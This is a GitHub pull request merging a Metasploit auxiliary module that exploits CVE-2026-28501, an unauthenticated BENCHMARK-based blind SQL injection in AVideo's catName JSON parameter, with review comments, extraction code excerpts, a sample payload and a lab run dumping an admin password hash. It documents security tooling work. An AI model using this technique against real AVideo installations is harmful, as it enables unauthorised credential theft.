Skip to content

Add AVideo catName blind SQLi credential dump (CVE-2026-28501)#21075

Merged
bwatters-r7 merged 6 commits intorapid7:masterfrom
Chocapikk:avideo-catname-sqli
Apr 9, 2026
Merged

Add AVideo catName blind SQLi credential dump (CVE-2026-28501)#21075
bwatters-r7 merged 6 commits intorapid7:masterfrom
Chocapikk:avideo-catname-sqli

Conversation

@Chocapikk
Copy link
Copy Markdown
Contributor

Hello Metasploit Team,

This adds an auxiliary module for CVE-2026-28501, an unauthenticated SQL injection in AVideo <= 22.0, along with a new BenchmarkBasedBlind SQLi mixin class and blind extraction improvements.

Module

AVideo's security.php sanitizes GET/POST parameters but skips JSON request bodies. Since objects/videos.json.php parses JSON and merges it into $_REQUEST after the filter runs, catName in a JSON POST bypasses sanitization and reaches getCatSQL() raw.

SLEEP() is blocked by sqlDAL's prepare(), but BENCHMARK(N*(condition), SHA1(x)) works - the condition acts as a multiplier: true (1) runs N iterations (delay), false (0) runs zero (instant).

Fixed in 24.0 (no 23.0 release - tags go 22.0 -> 24.0).

Mixin changes

New: MySQLi::BenchmarkBasedBlind - subclass of MySQLi::Common for targets where SLEEP() is blocked. Auto-calibrates iteration count using real information_schema subqueries to match extraction workload cost. Overrides time_blind_payload with the BENCHMARK multiplication pattern.

Refactored: blind extraction in MySQLi::Common - rewrote blind_detect_length and blind_dump_data from bit-by-bit (bitwise &) to binary search (bisection with >). Avoids & operator issues with prepare(), matches sqlmap's approach. Added overridable time_blind_payload and sleep_call methods for clean subclass extension.

Refactored: TimeBasedBlindMixin - moved test_vulnerable from MySQLi::TimeBasedBlind into the shared mixin, using time_blind_payload so subclasses can override (SLEEP vs BENCHMARK).

Rubocop fixes in touched files: Style/Documentation, OptionalBooleanParameter, MultilineBlockChain, TrailingWhitespace.

Verification

  • use auxiliary/gather/avideo_catname_sqli
  • set RHOSTS <target> and check - reports Vulnerable
  • run - dumps user credentials (username + password hash)
  • creds and loot show stored results
  • set COUNT 1 and run - dumps only the first user
  • Verify MySQLi::TimeBasedBlind still works (no regression)
  • Document included

Docker lab setup in the documentation (same environment as avideo_encoder_getimage_cmd_injection).

Add auxiliary/gather/avideo_catname_sqli module exploiting unauthenticated
SQL injection via JSON body in objects/videos.json.php. Uses BENCHMARK()
time-based blind injection since SLEEP() is blocked by sqlDAL prepare().

Add MySQLi::BenchmarkBasedBlind class with auto-calibrated BENCHMARK()
iterations using real table subqueries to match extraction workload cost.

Refactor blind_detect_length and blind_dump_data from bit-by-bit extraction
to binary search (bisection), avoiding bitwise & operator issues with
prepare() and matching sqlmap's extraction strategy.

Extract test_vulnerable into TimeBasedBlindMixin, add overridable
time_blind_payload and sleep_call methods for clean subclass override.

Fix pre-existing rubocop issues in touched mixin files (Style/Documentation,
OptionalBooleanParameter, MultilineBlockChain, TrailingWhitespace).
MySQL-specific option should not pollute all SQLi modules.
Hardcode probe iteration count in BenchmarkBasedBlind instead.
Remove extra blank line, rename @sqli to @setup_sqli to match
memoized method name convention.
@bwatters-r7 bwatters-r7 self-assigned this Mar 17, 2026
@bwatters-r7 bwatters-r7 moved this from Todo to Ready in Metasploit Kanban Mar 17, 2026
@bwatters-r7
Copy link
Copy Markdown
Contributor

['GHSA', 'pv87-r9qf-x56p', 'WWBN/AVideo']
],
'DisclosureDate' => '2026-03-05',
'DefaultOptions' => { 'SqliDelay' => 1, 'VERBOSE' => true },
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do we want verbose as true by default?


register_options([
OptString.new('TARGETURI', [true, 'The base path to AVideo', '/']),
OptInt.new('COUNT', [false, 'Number of users to dump (default: all)', 0])
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should this be required if we have a default here?

Suggested change
OptInt.new('COUNT', [false, 'Number of users to dump (default: all)', 0])
OptInt.new('COUNT', [true, 'Number of users to dump (default: all)', 0])

setup_sqli

columns = %w[user password]
count = datastore['COUNT'] > 0 ? datastore['COUNT'] : 0
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This maybe wont be required if we make it required above in the options.

@Chocapikk Chocapikk force-pushed the avideo-catname-sqli branch from 94380ad to 524d19f Compare March 23, 2026 00:54
Module changes (cgranleese-r7):
- Remove VERBOSE from DefaultOptions
- Make COUNT required with default 0
- Simplify COUNT usage since it's now always present

Specs (bwatters-r7):
- Expand mysqli_common_spec.rb with tests for version, current_database,
  current_user, enum_database_names, enum_table_names, enum_table_columns,
  sleep_call, hex_encode_strings, hex/base64 encoders, time_blind_payload,
  and blind_detect_length binary search
- Expand mysqli_time_based_spec.rb with tests for IF/sleep payload
  generation, SqliDelay usage, test_vulnerable, and Common inheritance
- Add mysqli_benchmark_based_blind_spec.rb with tests for BENCHMARK
  multiplication payload, calibrated iterations, SHA1 seed randomization,
  test_vulnerable, and calibrate
Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds a new Metasploit auxiliary module targeting an unauthenticated AVideo JSON-body SQL injection (CVE-2026-28501), and extends the MySQLi SQLi library to support BENCHMARK-based time delays plus faster blind extraction.

Changes:

  • New auxiliary/gather/avideo_catname_sqli module to dump AVideo user credentials via BENCHMARK-based time-blind SQLi.
  • New Msf::Exploit::SQLi::MySQLi::BenchmarkBasedBlind implementation with runtime iteration calibration.
  • Refactors MySQLi blind extraction to use bisection (>) rather than bitwise (&), and centralizes time-blind vulnerability checks in the shared mixin.

Reviewed changes

Copilot reviewed 10 out of 10 changed files in this pull request and generated 4 comments.

Show a summary per file
File Description
spec/lib/msf/core/exploit/sqli/mysqli/mysqli_time_based_spec.rb Adds targeted specs for MySQLi time-blind payload wrapping and vulnerability detection behavior.
spec/lib/msf/core/exploit/sqli/mysqli/mysqli_common_spec.rb Adds specs covering MySQLi Common helpers, encoders, and time-blind payload construction.
spec/lib/msf/core/exploit/sqli/mysqli/mysqli_benchmark_based_blind_spec.rb Adds specs for BENCHMARK-based payload format, seeding, and calibration.
modules/auxiliary/gather/avideo_catname_sqli.rb New AVideo credential-dump module using JSON-body catName injection with BENCHMARK timing.
lib/msf/core/exploit/sqli/time_based_blind_mixin.rb Centralizes test_vulnerable for time-blind classes via overridable time_blind_payload.
lib/msf/core/exploit/sqli/mysqli/time_based_blind.rb Removes duplicated test_vulnerable now handled by the shared mixin.
lib/msf/core/exploit/sqli/mysqli/common.rb Refactors blind length/data extraction to bisection; adds sleep_call and time_blind_payload hooks; adjusts dump logic.
lib/msf/core/exploit/sqli/mysqli/benchmark_based_blind.rb New BENCHMARK-based time-blind implementation with calibration and custom vulnerability probe.
lib/msf/core/exploit/sqli/common.rb Minor documentation/formatting touch-ups.
documentation/modules/auxiliary/gather/avideo_catname_sqli.md New module documentation including lab setup and usage scenario.

Comment on lines +328 to +341
extract_char = lambda do |j|
lo = 0
hi = 127
while lo < hi
mid = (lo + hi) / 2
condition = "ord(mid(cast((#{query}) as binary),#{j + 1},1))>#{mid}"
if blind_request(timebased ? time_blind_payload(condition) : condition)
lo = mid + 1
else
hi = mid
end
end
current_character.chr
end.join
output
vprint_status "{SQLi} [char #{j + 1}/#{length}] = #{lo.chr.inspect}"
lo.chr
Copy link

Copilot AI Mar 26, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

blind_dump_data currently binary-searches in the range 0..127 (hi = 127). Since both blind mixins default to bits_to_guess = 8, this truncates valid byte values 128..255 and can break extraction for non-ASCII / binary results (e.g., encoded output, file reads, raw binary casts). Consider searching 0..255 (or respecting output_charset/bitmask) and building the Ruby string in a binary-safe way so bytes > 127 are handled correctly.

Copilot uses AI. Check for mistakes.
# @return [String] The content of the file if reading was successful
#
def read_from_file(fpath, binary=false)
def read_from_file(fpath, binary: false)
Copy link

Copilot AI Mar 26, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

read_from_file was changed from a positional boolean (binary=false) to a keyword arg (binary: false), but other DBMS implementations (e.g., MSSQL/PostgreSQL) still use the positional signature. This makes the cross-DBMS SQLi API inconsistent and can break callers that treat DBMS implementations polymorphically. Consider keeping the positional parameter (or supporting both positional and keyword) for compatibility.

Suggested change
def read_from_file(fpath, binary: false)
def read_from_file(fpath, binary = false, **opts)
binary = opts.fetch(:binary, binary)

Copilot uses AI. Check for mistakes.
Comment on lines 290 to +345
def blind_detect_length(query, timebased)
if_function = ''
sleep_part = ''
if timebased
if_function = 'if(' + if_function
sleep_part += ",sleep(#{datastore['SqliDelay']}),0)"
end
i = 0
output_length = 0
# Find upper bound by doubling
upper = 1
loop do
output_bit = !blind_request("#{if_function}length(cast((#{query}) as binary))&#{1 << i}=0#{sleep_part}")
output_length |= (1 << i) if output_bit
i += 1
stop = blind_request("#{if_function}floor(length(cast((#{query}) as binary))/#{1 << i})=0#{sleep_part}")
break if stop
condition = "length(cast((#{query}) as binary))>#{upper}"
payload = timebased ? time_blind_payload(condition) : condition
break unless blind_request(payload)

upper *= 2
end
output_length

# Binary search between lower and upper
lo = upper / 2
hi = upper
while lo < hi
mid = (lo + hi) / 2
condition = "length(cast((#{query}) as binary))>#{mid}"
payload = timebased ? time_blind_payload(condition) : condition
if blind_request(payload)
lo = mid + 1
else
hi = mid
end
end
lo
end

#
# Retrieves the output of the given SQL query, this method is used in Blind SQL injections
# Retrieves the output of the given SQL query, this method is used in Blind SQL injections.
# Uses binary search (bisection) on ASCII values instead of bit-by-bit extraction.
# @param query [String] The SQL query the user wants to execute
# @param length [Integer] The expected length of the output of the result of the SQL query
# @param known_bits [Integer] a bitmask all the bytes in the output are expected to match
# @param bits_to_guess [Integer] the number of bits that must be retrieved from each byte of the query output
# @param known_bits [Integer] unused (kept for API compatibility)
# @param bits_to_guess [Integer] unused (kept for API compatibility)
# @param timebased [Boolean] true if it's a time-based query, false if it's boolean-based
# @return [String] The query result
#
def blind_dump_data(query, length, known_bits, bits_to_guess, timebased)
if_function = ''
sleep_part = ''
if timebased
if_function = 'if(' + if_function
sleep_part += ",sleep(#{datastore['SqliDelay']}),0)"
end
output = length.times.map do |j|
current_character = known_bits
bits_to_guess.times do |k|
# the query below: the inner substr returns a character from the result, the outer returns a bit of it
output_bit = !blind_request("#{if_function}ascii(mid(cast((#{query}) as binary), #{j + 1}, 1))&#{1 << k}=0#{sleep_part}")
current_character |= (1 << k) if output_bit
extract_char = lambda do |j|
lo = 0
hi = 127
while lo < hi
mid = (lo + hi) / 2
condition = "ord(mid(cast((#{query}) as binary),#{j + 1},1))>#{mid}"
if blind_request(timebased ? time_blind_payload(condition) : condition)
lo = mid + 1
else
hi = mid
end
end
current_character.chr
end.join
output
vprint_status "{SQLi} [char #{j + 1}/#{length}] = #{lo.chr.inspect}"
lo.chr
end

length.times.map { |j| extract_char.call(j) }.join
end
Copy link

Copilot AI Mar 26, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The new bisection-based implementations of blind_detect_length/blind_dump_data are a substantial behavior change but aren’t covered by any dedicated specs (the existing MySQLi specs exercise helpers/encoders but not blind extraction correctness). Adding unit tests that stub blind_request to emulate a known result would help prevent regressions (e.g., length 0, long strings, and bytes outside ASCII).

Copilot generated this review using guidance from organization custom instructions.
Comment on lines +51 to +68
def calibrate
target_delay = datastore['SqliDelay'].to_f
probe_iterations = 1_000_000
vprint_status "{SQLi} Calibrating BENCHMARK iterations for #{target_delay}s delay..."

# Probe with a real subquery to match the actual extraction workload.
# Simple expressions like *(SELECT 1) or *(1=1) overestimate cost per iteration
# because MySQL's prepare() optimizes them differently than real table subqueries,
# leading to calibrated iterations that are ~8x too low.
start = Time.now
@query_proc.call("BENCHMARK(#{probe_iterations}*(ord(mid(cast((select schema_name from information_schema.schemata limit 0,1) as binary),1,1))>0),SHA1(0x#{Rex::Text.rand_text_hex(8)}))")
elapsed = Time.now - start

# Scale to 3x the target delay so that actual execution reliably exceeds SqliDelay.
# The 3x margin accounts for CPU variance, network jitter, and the fact that
# information_schema probes are slightly heavier than typical user-table queries.
@benchmark_iterations = ((target_delay * 3.0 / elapsed) * probe_iterations).to_i

Copy link

Copilot AI Mar 26, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

calibrate computes @benchmark_iterations using elapsed as a divisor, but there’s no guard for elapsed <= 0 (or extremely small values), and no min/max clamp on the resulting iteration count. In failure/edge cases this can raise (division by zero) or produce an iteration count that is 0 or unreasonably large, impacting reliability and potentially causing very long delays. Consider validating SqliDelay > 0, handling elapsed <= 0 with a safe fallback, and bounding @benchmark_iterations to a reasonable range.

Copilot uses AI. Check for mistakes.
- Widen blind_dump_data bisection range from 0..127 to 0..255 for
  binary-safe byte extraction, use Encoding::BINARY for chr output
- Revert read_from_file to positional param (binary = false) to stay
  consistent with MSSQL/PostgreSQL implementations
- Add elapsed <= 0 guard and .clamp on calibrated benchmark iterations
- Add unit specs for blind_detect_length and blind_dump_data covering
  zero-length, ASCII, long strings, and high bytes (>127)
- Fix rubocop: remove leading blank line, use single-quoted strings
@github-project-automation github-project-automation bot moved this from Ready to In Progress in Metasploit Kanban Apr 9, 2026
@bwatters-r7
Copy link
Copy Markdown
Contributor

msf payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > use auxiliary/gather/avideo_catname_sqli 
msf auxiliary(gather/avideo_catname_sqli) > show optionse
[-] Invalid parameter "optionse", use "show -h" for more information
msf auxiliary(gather/avideo_catname_sqli) > show options

Module options (auxiliary/gather/avideo_catname_sqli):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   COUNT      0                yes       Number of users to dump (default: all)
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, so
                                         cks4, socks5, socks5h, http
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met
                                         asploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to AVideo
   VHOST                       no        HTTP server virtual host


View the full module info with the info, or info -d command.

msf auxiliary(gather/avideo_catname_sqli) > set verbose
verbose => false
msf auxiliary(gather/avideo_catname_sqli) > set rhost 10.5.134.167
rhost => 10.5.134.167
msf auxiliary(gather/avideo_catname_sqli) > run
[*] Running module against 10.5.134.167
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Time-based blind SQLi confirmed via BENCHMARK()
[*] Dumping user credentials from the users table...
[!] Time-based blind extraction is slow (~4s per character). Be patient.
AVideo Users
============

    user   password
    ----   --------
    admin  5f4dcc3b5aa765d61d8327deb882cf99

[+] Loot saved to: /home/tmoose/.msf4/loot/20260409160818_default_10.5.134.167_avideo.users_399670.txt
[*] Auxiliary module execution completed
msf auxiliary(gather/avideo_catname_sqli) > 

@bwatters-r7 bwatters-r7 merged commit a90ec10 into rapid7:master Apr 9, 2026
51 checks passed
@github-project-automation github-project-automation bot moved this from In Progress to Done in Metasploit Kanban Apr 9, 2026
@bwatters-r7
Copy link
Copy Markdown
Contributor

Release Notes

Adds an auxiliary module for CVE-2026-28501, an unauthenticated SQL injection in AVideo <= 22.0, along with a new BenchmarkBasedBlind SQLi mixin class and blind extraction improvements.

@jheysel-r7 jheysel-r7 added the rn-modules release notes for new or majorly enhanced modules label Apr 17, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

module rn-modules release notes for new or majorly enhanced modules

Projects

Archived in project

Development

Successfully merging this pull request may close these issues.

6 participants